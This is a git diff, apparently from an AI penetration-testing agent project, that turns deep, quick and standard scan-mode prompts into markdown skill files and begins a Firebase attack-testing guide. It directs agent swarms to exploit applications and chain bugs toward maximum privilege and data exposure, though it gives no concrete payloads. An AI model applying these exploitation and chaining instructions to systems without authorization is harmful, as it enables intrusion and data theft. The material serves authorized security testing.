- Map all background jobs, cron tasks, and async processing
|
|
||||||
- Identify all serialization/deserialization points
|
|
||||||
- Review all file handling operations (upload, download, processing)
|
|
||||||
- Understand the deployment model and infrastructure assumptions
|
|
||||||
- Check all dependency versions against known CVE databases
|
|
||||||
|
|
||||||
For blackbox (no source code):
|
|
||||||
- Exhaustive subdomain enumeration using multiple sources and tools
|
|
||||||
- Full port scanning to identify all services
|
|
||||||
- Complete content discovery with multiple wordlists
|
|
||||||
- Technology fingerprinting on all discovered assets
|
|
||||||
- API endpoint discovery through documentation, JavaScript analysis, and fuzzing
|
|
||||||
- Identify all parameters including hidden and rarely-used ones
|
|
||||||
- Map all user roles by testing with different account types
|
|
||||||
- Understand rate limiting, WAF rules, and security controls in place
|
|
||||||
- Document the complete application architecture as understood from outside
|
|
||||||
|
|
||||||
EXECUTION STRATEGY - HIERARCHICAL AGENT SWARM:
|
|
||||||
After Phase 1 (Recon & Mapping) is complete:
|
|
||||||
1. Divide the application into major components/parts (e.g., Auth System, Payment Gateway, User Profile, Admin Panel)
|
|
||||||
2. Spawn a specialized subagent for EACH major component
|
|
||||||
3. Each component agent must then:
|
|
||||||
- Further subdivide its scope into subparts (e.g., Login Form, Registration API, Password Reset)
|
|
||||||
- Spawn sub-subagents for each distinct subpart
|
|
||||||
4. At the lowest level (specific functionality), spawn specialized agents for EACH potential vulnerability type:
|
|
||||||
- "Auth System" → "Login Form" → "SQLi Agent", "XSS Agent", "Auth Bypass Agent"
|
|
||||||
- This creates a massive parallel swarm covering every angle
|
|
||||||
- Do NOT overload a single agent with multiple vulnerability types
|
|
||||||
- Scale horizontally to maximum capacity
|
|
||||||
|
|
||||||
PHASE 2: DEEP BUSINESS LOGIC ANALYSIS
|
|
||||||
Understand the application deeply enough to find logic flaws:
|
|
||||||
- CREATE A FULL STORYBOARD of all user flows and state transitions
|
|
||||||
- Document every step of the business logic in a structured flow diagram
|
|
||||||
- Use the application extensively as every type of user to map the full lifecycle of data
|
|
||||||
- Document all state machines and workflows (e.g. Order Created -> Paid -> Shipped)
|
|
||||||
- Identify trust boundaries between components
|
|
||||||
- Map all integrations with third-party services
|
|
||||||
- Understand what invariants the application tries to maintain
|
|
||||||
- Identify all points where roles, privileges, or sensitive data changes hands
|
|
||||||
- Look for implicit assumptions in the business logic
|
|
||||||
- Consider multi-step attacks that abuse normal functionality
|
|
||||||
|
|
||||||
PHASE 3: COMPREHENSIVE ATTACK SURFACE TESTING
|
|
||||||
Test EVERY input vector with EVERY applicable technique.
|
|
||||||
|
|
||||||
Input Handling - Test all parameters, headers, cookies with:
|
|
||||||
- Multiple injection payloads (SQL, NoSQL, LDAP, XPath, Command, Template)
|
|
||||||
- Various encodings and bypass techniques (double encoding, unicode, null bytes)
|
|
||||||
- Boundary conditions and type confusion
|
|
||||||
- Large payloads and buffer-related issues
|
|
||||||
|
|
||||||
Authentication and Session:
|
|
||||||
- Exhaustive brute force protection testing
|
|
||||||
- Session fixation, hijacking, and prediction attacks
|
|
||||||
- JWT/token manipulation if applicable
|
|
||||||
- OAuth flow abuse scenarios
|
|
||||||
- Password reset flow vulnerabilities (token leakage, reuse, timing)
|
|
||||||
- Multi-factor authentication bypass techniques
|
|
||||||
- Account enumeration through all possible channels
|
|
||||||
|
|
||||||
Access Control:
|
|
||||||
- Test EVERY endpoint for horizontal and vertical access control
|
|
||||||
- Parameter tampering on all object references
|
|
||||||
- Forced browsing to all discovered resources
|
|
||||||
- HTTP method tampering
|
|
||||||
- Test access control after session changes (logout, role change)
|
|
||||||
|
|
||||||
File Operations:
|
|
||||||
- Exhaustive file upload bypass testing (extension, content-type, magic bytes)
|
|
||||||
- Path traversal on all file parameters
|
|
||||||
- Server-side request forgery through file inclusion
|
|
||||||
- XXE through all XML parsing points
|
|
||||||
|
|
||||||
Business Logic:
|
|
||||||
- Race conditions on all state-changing operations
|
|
||||||
- Workflow bypass attempts on every multi-step process
|
|
||||||
- Price/quantity manipulation in all transactions
|
|
||||||
- Parallel execution attacks
|
|
||||||
- Time-of-check to time-of-use vulnerabilities
|
|
||||||
|
|
||||||
Advanced Attacks:
|
|
||||||
- HTTP request smuggling if multiple proxies/servers
|
|
||||||
- Cache poisoning and cache deception
|
|
||||||
- Subdomain takeover on all subdomains
|
|
||||||
- Prototype pollution in JavaScript applications
|
|
||||||
- CORS misconfiguration exploitation
|
|
||||||
- WebSocket security testing
|
|
||||||
- GraphQL specific attacks if applicable
|
|
||||||
|
|
||||||
PHASE 4: VULNERABILITY CHAINING
|
|
||||||
Don't just find individual bugs - chain them:
|
|
||||||
- Combine information disclosure with access control bypass
|
|
||||||
- Chain SSRF to access internal services
|
|
||||||
- Use low-severity findings to enable high-impact attacks
|
|
||||||
- Look for multi-step attack paths that automated tools miss
|
|
||||||
- Consider attacks that span multiple application components
|
|
||||||
|
|
||||||
CHAINING PRINCIPLES (MAX IMPACT):
|
|
||||||
- Treat every finding as a pivot: ask "What does this unlock next?" until you reach maximum privilege / maximum data exposure / maximum control
|
|
||||||
- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data
|
|
||||||
- Cross boundaries deliberately: user → admin, external → internal, unauthenticated → authenticated, read → write, single-tenant → cross-tenant
|
|
||||||
- Validate chains by executing the full sequence using the available tools (proxy + browser for workflows, python for automation, terminal for supporting commands)
|
|
||||||
- When a component agent finds a potential pivot, it must message/spawn the next focused agent to continue the chain in the next component/subpart
|
|
||||||
|
|
||||||
PHASE 5: PERSISTENT TESTING
|
|
||||||
If initial attempts fail, don't give up:
|
|
||||||
- Research specific technologies for known bypasses
|
|
||||||
- Try alternative exploitation techniques
|
|
||||||
- Look for edge cases and unusual functionality
|
|
||||||
- Test with different client contexts
|
|
||||||
- Revisit previously tested areas with new information
|
|
||||||
- Consider timing-based and blind exploitation techniques
|
|
||||||
|
|
||||||
PHASE 6: THOROUGH REPORTING
|
|
||||||
- Document EVERY confirmed vulnerability with full details
|
|
||||||
- Include all severity levels - even low findings may enable chains
|
|
||||||
- Provide complete reproduction steps and PoC
|
|
||||||
- Document remediation recommendations
|
|
||||||
- Note areas requiring additional review beyond current scope
|
|
||||||
|
|
||||||
MINDSET:
|
|
||||||
- Relentless - this is about finding what others miss
|
|
||||||
- Creative - think of unconventional attack vectors
|
|
||||||
- Patient - real vulnerabilities often require deep investigation
|
|
||||||
- Thorough - test every parameter, every endpoint, every edge case
|
|
||||||
- Persistent - if one approach fails, try ten more
|
|
||||||
- Holistic - understand how components interact to find systemic issues
|
|
||||||
</scan_mode>
|
|
||||||
157
strix/skills/scan_modes/deep.md
Normal file
157
strix/skills/scan_modes/deep.md
Normal file
@@ -0,0 +1,157 @@
|
|||||||
|
---
|
||||||
|
name: deep
|
||||||
|
description: Exhaustive security assessment with maximum coverage, depth, and vulnerability chaining
|
||||||
|
---
|
||||||
|
|
||||||
|
# Deep Testing Mode
|
||||||
|
|
||||||
|
Exhaustive security assessment. Maximum coverage, maximum depth. Finding what others miss is the goal.
|
||||||
|
|
||||||
|
## Approach
|
||||||
|
|
||||||
|
Thorough understanding before exploitation. Test every parameter, every endpoint, every edge case. Chain findings for maximum impact.
|
||||||
|
|
||||||
|
## Phase 1: Exhaustive Reconnaissance
|
||||||
|
|
||||||
|
**Whitebox (source available)**
|
||||||
|
- Map every file, module, and code path in the repository
|
||||||
|
- Trace all entry points from HTTP handlers to database queries
|
||||||
|
- Document all authentication mechanisms and implementations
|
||||||
|
- Map authorization checks and access control model
|
||||||
|
- Identify all external service integrations and API calls
|
||||||
|
- Analyze configuration for secrets and misconfigurations
|
||||||
|
- Review database schemas and data relationships
|
||||||
|
- Map background jobs, cron tasks, async processing
|
||||||
|
- Identify all serialization/deserialization points
|
||||||
|
- Review file handling: upload, download, processing
|
||||||
|
- Understand the deployment model and infrastructure assumptions
|
||||||
|
- Check all dependency versions against CVE databases
|
||||||
|
|
||||||
|
**Blackbox (no source)**
|
||||||
|
- Exhaustive subdomain enumeration with multiple sources and tools
|
||||||
|
- Full port scanning across all services
|
||||||
|
- Complete content discovery with multiple wordlists
|
||||||
|
- Technology fingerprinting on all assets
|
||||||
|
- API discovery via docs, JavaScript analysis, fuzzing
|
||||||
|
- Identify all parameters including hidden and rarely-used ones
|
||||||
|
- Map all user roles with different account types
|
||||||
|
- Document rate limiting, WAF rules, security controls
|
||||||
|
- Document complete application architecture as understood from outside
|
||||||
|
|
||||||
|
## Phase 2: Business Logic Deep Dive
|
||||||
|
|
||||||
|
Create a complete storyboard of the application:
|
||||||
|
|
||||||
|
- **User flows** - document every step of every workflow
|
||||||
|
- **State machines** - map all transitions (Created → Paid → Shipped → Delivered)
|
||||||
|
- **Trust boundaries** - identify where privilege changes hands
|
||||||
|
- **Invariants** - what rules should the application always enforce
|
||||||
|
- **Implicit assumptions** - what does the code assume that might be violated
|
||||||
|
- **Multi-step attack surfaces** - where can normal functionality be abused
|
||||||
|
- **Third-party integrations** - map all external service dependencies
|
||||||
|
|
||||||
|
Use the application extensively as every user type to understand the full data lifecycle.
|
||||||
|
|
||||||
|
## Phase 3: Comprehensive Attack Surface Testing
|
||||||
|
|
||||||
|
Test every input vector with every applicable technique.
|
||||||
|
|
||||||
|
**Input Handling**
|
||||||
|
- Multiple injection types: SQL, NoSQL, LDAP, XPath, command, template
|
||||||
|
- Encoding bypasses: double encoding, unicode, null bytes
|
||||||
|
- Boundary conditions and type confusion
|
||||||
|
- Large payloads and buffer-related issues
|
||||||
|
|
||||||
|
**Authentication & Session**
|
||||||
|
- Exhaustive brute force protection testing
|
||||||
|
- Session fixation, hijacking, prediction
|
||||||
|
- JWT/token manipulation
|
||||||
|
- OAuth flow abuse scenarios
|
||||||
|
- Password reset vulnerabilities: token leakage, reuse, timing
|
||||||
|
- MFA bypass techniques
|
||||||
|
- Account enumeration through all channels
|
||||||
|
|
||||||
|
**Access Control**
|
||||||
|
- Test every endpoint for horizontal and vertical access control
|
||||||
|
- Parameter tampering on all object references
|
||||||
|
- Forced browsing to all discovered resources
|
||||||
|
- HTTP method tampering (GET vs POST vs PUT vs DELETE)
|
||||||
|
- Access control after session state changes (logout, role change)
|
||||||
|
|
||||||
|
**File Operations**
|
||||||
|
- Exhaustive file upload bypass: extension, content-type, magic bytes
|
||||||
|
- Path traversal on all file parameters
|
||||||
|
- SSRF through file inclusion
|
||||||
|
- XXE through all XML parsing points
|
||||||
|
|
||||||
|
**Business Logic**
|
||||||
|
- Race conditions on all state-changing operations
|
||||||
|
- Workflow bypass on every multi-step process
|
||||||
|
- Price/quantity manipulation in transactions
|
||||||
|
- Parallel execution attacks
|
||||||
|
- TOCTOU (time-of-check to time-of-use) vulnerabilities
|
||||||
|
|
||||||
|
**Advanced Techniques**
|
||||||
|
- HTTP request smuggling (multiple proxies/servers)
|
||||||
|
- Cache poisoning and cache deception
|
||||||
|
- Subdomain takeover
|
||||||
|
- Prototype pollution (JavaScript applications)
|
||||||
|
- CORS misconfiguration exploitation
|
||||||
|
- WebSocket security testing
|
||||||
|
- GraphQL-specific attacks (introspection, batching, nested queries)
|
||||||
|
|
||||||
|
## Phase 4: Vulnerability Chaining
|
||||||
|
|
||||||
|
Individual bugs are starting points. Chain them for maximum impact:
|
||||||
|
|
||||||
|
- Combine information disclosure with access control bypass
|
||||||
|
- Chain SSRF to reach internal services
|
||||||
|
- Use low-severity findings to enable high-impact attacks
|
||||||
|
- Build multi-step attack paths that automated tools miss
|
||||||
|
- Cross component boundaries: user → admin, external → internal, read → write, single-tenant → cross-tenant
|
||||||
|
|
||||||
|
**Chaining Principles**
|
||||||
|
- Treat every finding as a pivot point: ask "what does this unlock next?"
|
||||||
|
- Continue until reaching maximum privilege / maximum data exposure / maximum control
|
||||||
|
- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data
|
||||||
|
- Validate chains by executing the full sequence (proxy + browser for workflows, python for automation)
|
||||||
|
- When a pivot is found, spawn focused agents to continue the chain in the next component
|
||||||
|
|
||||||
|
## Phase 5: Persistent Testing
|
||||||
|
|
||||||
|
When initial attempts fail:
|
||||||
|
|
||||||
|
- Research technology-specific bypasses
|
||||||
|
- Try alternative exploitation techniques
|
||||||
|
- Test edge cases and unusual functionality
|
||||||
|
- Test with different client contexts
|
||||||
|
- Revisit areas with new information from other findings
|
||||||
|
- Consider timing-based and blind exploitation
|
||||||
|
- Look for logic flaws that require deep application understanding
|
||||||
|
|
||||||
|
## Phase 6: Comprehensive Reporting
|
||||||
|
|
||||||
|
- Document every confirmed vulnerability with full details
|
||||||
|
- Include all severity levels—low findings may enable chains
|
||||||
|
- Complete reproduction steps and working PoC
|
||||||
|
- Remediation recommendations with specific guidance
|
||||||
|
- Note areas requiring additional review beyond current scope
|
||||||
|
|
||||||
|
## Agent Strategy
|
||||||
|
|
||||||
|
After reconnaissance, decompose the application hierarchically:
|
||||||
|
|
||||||
|
1. **Component level** - Auth System, Payment Gateway, User Profile, Admin Panel
|
||||||
|
2. **Feature level** - Login Form, Registration API, Password Reset
|
||||||
|
3. **Vulnerability level** - SQLi Agent, XSS Agent, Auth Bypass Agent
|
||||||
|
|
||||||
|
Spawn specialized agents at each level. Scale horizontally to maximum parallelization:
|
||||||
|
- Do NOT overload a single agent with multiple vulnerability types
|
||||||
|
- Each agent focuses on one specific area or vulnerability type
|
||||||
|
- Creates a massive parallel swarm covering every angle
|
||||||
|
|
||||||
|
## Mindset
|
||||||
|
|
||||||
|
Relentless. Creative. Patient. Thorough. Persistent.
|
||||||
|
|
||||||
|
This is about finding what others miss. Test every parameter, every endpoint, every edge case. If one approach fails, try ten more. Understand how components interact to find systemic issues.
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
<scan_mode>
|
|
||||||
QUICK SCAN MODE - Rapid Security Assessment
|
|
||||||
|
|
||||||
This mode is optimized for fast feedback. Focus on HIGH-IMPACT vulnerabilities with minimal overhead.
|
|
||||||
|
|
||||||
PHASE 1: RAPID ORIENTATION
|
|
||||||
- If source code is available: Focus primarily on RECENT CHANGES (git diff, new commits, modified files)
|
|
||||||
- Identify the most critical entry points: authentication endpoints, payment flows, admin interfaces, API endpoints handling sensitive data
|
|
||||||
- Quickly understand the tech stack and frameworks in use
|
|
||||||
- Skip exhaustive reconnaissance - use what's immediately visible
|
|
||||||
|
|
||||||
PHASE 2: TARGETED ATTACK SURFACE
|
|
||||||
For whitebox (source code available):
|
|
||||||
- Prioritize files changed in recent commits/PRs - these are most likely to contain fresh bugs
|
|
||||||
- Look for security-sensitive patterns in diffs: auth checks, input handling, database queries, file operations
|
|
||||||
- Trace user-controllable input in changed code paths
|
|
||||||
- Check if security controls were modified or bypassed
|
|
||||||
|
|
||||||
For blackbox (no source code):
|
|
||||||
- Focus on authentication and session management
|
|
||||||
- Test the most critical user flows only
|
|
||||||
- Check for obvious misconfigurations and exposed endpoints
|
|
||||||
- Skip deep content discovery - test what's immediately accessible
|
|
||||||
|
|
||||||
PHASE 3: HIGH-IMPACT VULNERABILITY FOCUS
|
|
||||||
Prioritize in this order:
|
|
||||||
1. Authentication bypass and broken access control
|
|
||||||
2. Remote code execution vectors
|
|
||||||
3. SQL injection in critical endpoints
|
|
||||||
4. Insecure direct object references (IDOR) in sensitive resources
|
|
||||||
5. Server-side request forgery (SSRF)
|
|
||||||
6. Hardcoded credentials or secrets in code
|
|
||||||
|
|
||||||
Skip lower-priority items:
|
|
||||||
- Extensive subdomain enumeration
|
|
||||||
- Full directory bruteforcing
|
|
||||||
- Information disclosure that doesn't lead to exploitation
|
|
||||||
- Theoretical vulnerabilities without PoC
|
|
||||||
|
|
||||||
PHASE 4: VALIDATION AND REPORTING
|
|
||||||
- Validate only critical/high severity findings with minimal PoC
|
|
||||||
- Report findings as you discover them - don't wait for completion
|
|
||||||
- Focus on exploitability and business impact
|
|
||||||
|
|
||||||
QUICK CHAINING RULE:
|
|
||||||
- If you find ANY strong primitive (auth weakness, access control gap, injection point, internal reachability), immediately attempt a single high-impact pivot to demonstrate real impact
|
|
||||||
- Do not stop at a low-context “maybe”; turn it into a concrete exploit sequence (even if short) that reaches privileged action or sensitive data
|
|
||||||
|
|
||||||
OPERATIONAL GUIDELINES:
|
|
||||||
- Use the browser tool for quick manual testing of critical flows
|
|
||||||
- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)
|
|
||||||
- Use proxy to inspect traffic on key endpoints
|
|
||||||
- Skip extensive fuzzing - use targeted payloads only
|
|
||||||
- Create subagents only for parallel high-priority tasks
|
|
||||||
- If whitebox: file_edit tool to review specific suspicious code sections
|
|
||||||
- Use notes tool to track critical findings only
|
|
||||||
|
|
||||||
MINDSET:
|
|
||||||
- Think like a time-boxed bug bounty hunter going for quick wins
|
|
||||||
- Prioritize breadth over depth on critical areas
|
|
||||||
- If something looks exploitable, validate quickly and move on
|
|
||||||
- Don't get stuck - if an attack vector isn't yielding results quickly, pivot
|
|
||||||
</scan_mode>
|
|
||||||
64
strix/skills/scan_modes/quick.md
Normal file
64
strix/skills/scan_modes/quick.md
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
---
|
||||||
|
name: quick
|
||||||
|
description: Time-boxed rapid assessment targeting high-impact vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
|
# Quick Testing Mode
|
||||||
|
|
||||||
|
Time-boxed assessment focused on high-impact vulnerabilities. Prioritize breadth over depth.
|
||||||
|
|
||||||
|
## Approach
|
||||||
|
|
||||||
|
Optimize for fast feedback on critical security issues. Skip exhaustive enumeration in favor of targeted testing on high-value attack surfaces.
|
||||||
|
|
||||||
|
## Phase 1: Rapid Orientation
|
||||||
|
|
||||||
|
**Whitebox (source available)**
|
||||||
|
- Focus on recent changes: git diffs, new commits, modified files—these are most likely to contain fresh bugs
|
||||||
|
- Identify security-sensitive patterns in changed code: auth checks, input handling, database queries, file operations
|
||||||
|
- Trace user input through modified code paths
|
||||||
|
- Check if security controls were modified or bypassed
|
||||||
|
|
||||||
|
**Blackbox (no source)**
|
||||||
|
- Map authentication and critical user flows
|
||||||
|
- Identify exposed endpoints and entry points
|
||||||
|
- Skip deep content discovery—test what's immediately accessible
|
||||||
|
|
||||||
|
## Phase 2: High-Impact Targets
|
||||||
|
|
||||||
|
Test in priority order:
|
||||||
|
|
||||||
|
1. **Authentication bypass** - login flaws, session issues, token weaknesses
|
||||||
|
2. **Broken access control** - IDOR, privilege escalation, missing authorization
|
||||||
|
3. **Remote code execution** - command injection, deserialization, SSTI
|
||||||
|
4. **SQL injection** - authentication endpoints, search, filters
|
||||||
|
5. **SSRF** - URL parameters, webhooks, integrations
|
||||||
|
6. **Exposed secrets** - hardcoded credentials, API keys, config files
|
||||||
|
|
||||||
|
Skip for quick scans:
|
||||||
|
- Exhaustive subdomain enumeration
|
||||||
|
- Full directory bruteforcing
|
||||||
|
- Low-severity information disclosure
|
||||||
|
- Theoretical issues without working PoC
|
||||||
|
|
||||||
|
## Phase 3: Validation
|
||||||
|
|
||||||
|
- Confirm exploitability with minimal proof-of-concept
|
||||||
|
- Demonstrate real impact, not theoretical risk
|
||||||
|
- Report findings immediately as discovered
|
||||||
|
|
||||||
|
## Chaining
|
||||||
|
|
||||||
|
When a strong primitive is found (auth weakness, injection point, internal access), immediately attempt one high-impact pivot to demonstrate maximum severity. Don't stop at a low-context "maybe"—turn it into a concrete exploit sequence that reaches privileged action or sensitive data.
|
||||||
|
|
||||||
|
## Operational Guidelines
|
||||||
|
|
||||||
|
- Use browser tool for quick manual testing of critical flows
|
||||||
|
- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)
|
||||||
|
- Use proxy to inspect traffic on key endpoints
|
||||||
|
- Skip extensive fuzzing—use targeted payloads only
|
||||||
|
- Create subagents only for parallel high-priority tasks
|
||||||
|
|
||||||
|
## Mindset
|
||||||
|
|
||||||
|
Think like a time-boxed bug bounty hunter going for quick wins. Prioritize breadth over depth on critical areas. If something looks exploitable, validate quickly and move on. Don't get stuck—if an attack vector isn't yielding results quickly, pivot.
|
||||||
@@ -1,91 +0,0 @@
|
|||||||
<scan_mode>
|
|
||||||
STANDARD SCAN MODE - Balanced Security Assessment
|
|
||||||
|
|
||||||
This mode provides thorough coverage with a structured methodology. Balance depth with efficiency.
|
|
||||||
|
|
||||||
PHASE 1: RECONNAISSANCE AND MAPPING
|
|
||||||
Understanding the target is critical before exploitation. Never skip this phase.
|
|
||||||
|
|
||||||
For whitebox (source code available):
|
|
||||||
- Map the entire codebase structure: directories, modules, entry points
|
|
||||||
- Identify the application architecture (MVC, microservices, monolith)
|
|
||||||
- Understand the routing: how URLs map to handlers/controllers
|
|
||||||
- Identify all user input vectors: forms, APIs, file uploads, headers, cookies
|
|
||||||
- Map authentication and authorization flows
|
|
||||||
- Identify database interactions and ORM usage
|
|
||||||
- Review dependency manifests for known vulnerable packages
|
|
||||||
- Understand the data model and sensitive data locations
|
|
||||||
|
|
||||||
For blackbox (no source code):
|
|
||||||
- Crawl the application thoroughly using browser tool - interact with every feature
|
|
||||||
- Enumerate all endpoints, parameters, and functionality
|
|
||||||
- Identify the technology stack through fingerprinting
|
|
||||||
- Map user roles and access levels
|
|
||||||
- Understand the business logic by using the application as intended
|
|
||||||
- Document all forms, APIs, and data entry points
|
|
||||||
- Use proxy tool to capture and analyze all traffic during exploration
|
|
||||||
|
|
||||||
PHASE 2: BUSINESS LOGIC UNDERSTANDING
|
|
||||||
Before testing for vulnerabilities, understand what the application DOES:
|
|
||||||
- What are the critical business flows? (payments, user registration, data access)
|
|
||||||
- What actions should be restricted to specific roles?
|
|
||||||
- What data should users NOT be able to access?
|
|
||||||
- What state transitions exist? (order pending → paid → shipped)
|
|
||||||
- Where does money, sensitive data, or privilege flow?
|
|
||||||
|
|
||||||
PHASE 3: SYSTEMATIC VULNERABILITY ASSESSMENT
|
|
||||||
Test each attack surface methodically. Create focused subagents for different areas.
|
|
||||||
|
|
||||||
Entry Point Analysis:
|
|
||||||
- Test all input fields for injection vulnerabilities
|
|
||||||
- Check all API endpoints for authentication and authorization
|
|
||||||
- Verify all file upload functionality for bypass
|
|
||||||
- Test all search and filter functionality
|
|
||||||
- Check redirect parameters and URL handling
|
|
||||||
|
|
||||||
Authentication and Session:
|
|
||||||
- Test login for brute force protection
|
|
||||||
- Check session token entropy and handling
|
|
||||||
- Test password reset flows for weaknesses
|
|
||||||
- Verify logout invalidates sessions
|
|
||||||
- Test for authentication bypass techniques
|
|
||||||
|
|
||||||
Access Control:
|
|
||||||
- For every privileged action, test as unprivileged user
|
|
||||||
- Test horizontal access control (user A accessing user B's data)
|
|
||||||
- Test vertical access control (user escalating to admin)
|
|
||||||
- Check API endpoints mirror UI access controls
|
|
||||||
- Test direct object references with different user contexts
|
|
||||||
|
|
||||||
Business Logic:
|
|
||||||
- Attempt to skip steps in multi-step processes
|
|
||||||
- Test for race conditions in critical operations
|
|
||||||
- Try negative values, zero values, boundary conditions
|
|
||||||
- Attempt to replay transactions
|
|
||||||
- Test for price manipulation in e-commerce flows
|
|
||||||
|
|
||||||
PHASE 4: EXPLOITATION AND VALIDATION
|
|
||||||
- Every finding must have a working proof-of-concept
|
|
||||||
- Demonstrate actual impact, not theoretical risk
|
|
||||||
- Chain vulnerabilities when possible to show maximum impact
|
|
||||||
- Document the full attack path from initial access to impact
|
|
||||||
- Use python tool for complex exploit development
|
|
||||||
|
|
||||||
CHAINING & MAX IMPACT MINDSET:
|
|
||||||
- Always ask: "If I can do X, what does that enable me to do next?" Keep pivoting until you reach maximum privilege or maximum sensitive data access
|
|
||||||
- Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated bug reports
|
|
||||||
- Use the application as a real user would: exploit must survive the actual workflow and state transitions
|
|
||||||
- When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win
|
|
||||||
|
|
||||||
PHASE 5: COMPREHENSIVE REPORTING
|
|
||||||
- Report all confirmed vulnerabilities with clear reproduction steps
|
|
||||||
- Include severity based on actual exploitability and business impact
|
|
||||||
- Provide remediation recommendations
|
|
||||||
- Document any areas that need further investigation
|
|
||||||
|
|
||||||
MINDSET:
|
|
||||||
- Methodical and systematic - cover the full attack surface
|
|
||||||
- Document as you go - findings and areas tested
|
|
||||||
- Validate everything - no assumptions about exploitability
|
|
||||||
- Think about business impact, not just technical severity
|
|
||||||
</scan_mode>
|
|
||||||
96
strix/skills/scan_modes/standard.md
Normal file
96
strix/skills/scan_modes/standard.md
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
---
|
||||||
|
name: standard
|
||||||
|
description: Balanced security assessment with systematic methodology and full attack surface coverage
|
||||||
|
---
|
||||||
|
|
||||||
|
# Standard Testing Mode
|
||||||
|
|
||||||
|
Balanced security assessment with structured methodology. Thorough coverage without exhaustive depth.
|
||||||
|
|
||||||
|
## Approach
|
||||||
|
|
||||||
|
Systematic testing across the full attack surface. Understand the application before exploiting it.
|
||||||
|
|
||||||
|
## Phase 1: Reconnaissance
|
||||||
|
|
||||||
|
**Whitebox (source available)**
|
||||||
|
- Map codebase structure: modules, entry points, routing
|
||||||
|
- Identify architecture pattern (MVC, microservices, monolith)
|
||||||
|
- Trace input vectors: forms, APIs, file uploads, headers, cookies
|
||||||
|
- Review authentication and authorization flows
|
||||||
|
- Analyze database interactions and ORM usage
|
||||||
|
- Check dependencies for known CVEs
|
||||||
|
- Understand the data model and sensitive data locations
|
||||||
|
|
||||||
|
**Blackbox (no source)**
|
||||||
|
- Crawl application thoroughly, interact with every feature
|
||||||
|
- Enumerate endpoints, parameters, and functionality
|
||||||
|
- Fingerprint technology stack
|
||||||
|
- Map user roles and access levels
|
||||||
|
- Capture traffic with proxy to understand request/response patterns
|
||||||
|
|
||||||
|
## Phase 2: Business Logic Analysis
|
||||||
|
|
||||||
|
Before testing for vulnerabilities, understand the application:
|
||||||
|
|
||||||
|
- **Critical flows** - payments, registration, data access, admin functions
|
||||||
|
- **Role boundaries** - what actions are restricted to which users
|
||||||
|
- **Data access rules** - what data should be isolated between users
|
||||||
|
- **State transitions** - order lifecycle, account status changes
|
||||||
|
- **Trust boundaries** - where does privilege or sensitive data flow
|
||||||
|
|
||||||
|
## Phase 3: Systematic Testing
|
||||||
|
|
||||||
|
Test each attack surface methodically. Spawn focused subagents for different areas.
|
||||||
|
|
||||||
|
**Input Validation**
|
||||||
|
- Injection testing on all input fields (SQL, XSS, command, template)
|
||||||
|
- File upload bypass attempts
|
||||||
|
- Search and filter parameter manipulation
|
||||||
|
- Redirect and URL parameter handling
|
||||||
|
|
||||||
|
**Authentication & Session**
|
||||||
|
- Brute force protection
|
||||||
|
- Session token entropy and handling
|
||||||
|
- Password reset flow analysis
|
||||||
|
- Logout session invalidation
|
||||||
|
- Authentication bypass techniques
|
||||||
|
|
||||||
|
**Access Control**
|
||||||
|
- Horizontal: user A accessing user B's resources
|
||||||
|
- Vertical: unprivileged user accessing admin functions
|
||||||
|
- API endpoints vs UI access control consistency
|
||||||
|
- Direct object reference manipulation
|
||||||
|
|
||||||
|
**Business Logic**
|
||||||
|
- Multi-step process bypass (skip steps, reorder)
|
||||||
|
- Race conditions on state-changing operations
|
||||||
|
- Boundary conditions: negative values, zero, extremes
|
||||||
|
- Transaction replay and manipulation
|
||||||
|
|
||||||
|
## Phase 4: Exploitation
|
||||||
|
|
||||||
|
- Every finding requires a working proof-of-concept
|
||||||
|
- Demonstrate actual impact, not theoretical risk
|
||||||
|
- Chain vulnerabilities to show maximum severity
|
||||||
|
- Document full attack path from entry to impact
|
||||||
|
- Use python tool for complex exploit development
|
||||||
|
|
||||||
|
## Phase 5: Reporting
|
||||||
|
|
||||||
|
- Document all confirmed vulnerabilities with reproduction steps
|
||||||
|
- Severity based on exploitability and business impact
|
||||||
|
- Remediation recommendations
|
||||||
|
- Note areas requiring further investigation
|
||||||
|
|
||||||
|
## Chaining
|
||||||
|
|
||||||
|
Always ask: "If I can do X, what does that enable next?" Keep pivoting until reaching maximum privilege or data exposure.
|
||||||
|
|
||||||
|
Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated findings. Use the application as a real user would—exploit must survive actual workflow and state transitions.
|
||||||
|
|
||||||
|
When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win.
|
||||||
|
|
||||||
|
## Mindset
|
||||||
|
|
||||||
|
Methodical and systematic. Document as you go. Validate everything—no assumptions about exploitability. Think about business impact, not just technical severity.
|
||||||
@@ -1,177 +0,0 @@
|
|||||||
<firebase_firestore_security_guide>
|
|
||||||
<title>FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION</title>
|
|
||||||
|
|
||||||
<critical>Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Firestore (documents/collections, rules, REST/SDK)
|
|
||||||
- Realtime Database (JSON tree, rules)
|
|
||||||
- Cloud Storage (rules, signed URLs)
|
|
||||||
- Auth (ID tokens, custom claims, anonymous/sign-in providers)
|
|
||||||
- Cloud Functions (onCall/onRequest, triggers)
|
|
||||||
- Hosting rewrites, CDN/caching, CORS
|
|
||||||
- App Check (attestation) and its limits
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Extract project config from client (apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId). Identify all used Firebase products.
|
|
||||||
2. Obtain multiple principals: unauth, anonymous (if enabled), basic user A, user B, and any staff/admin if available. Capture their ID tokens.
|
|
||||||
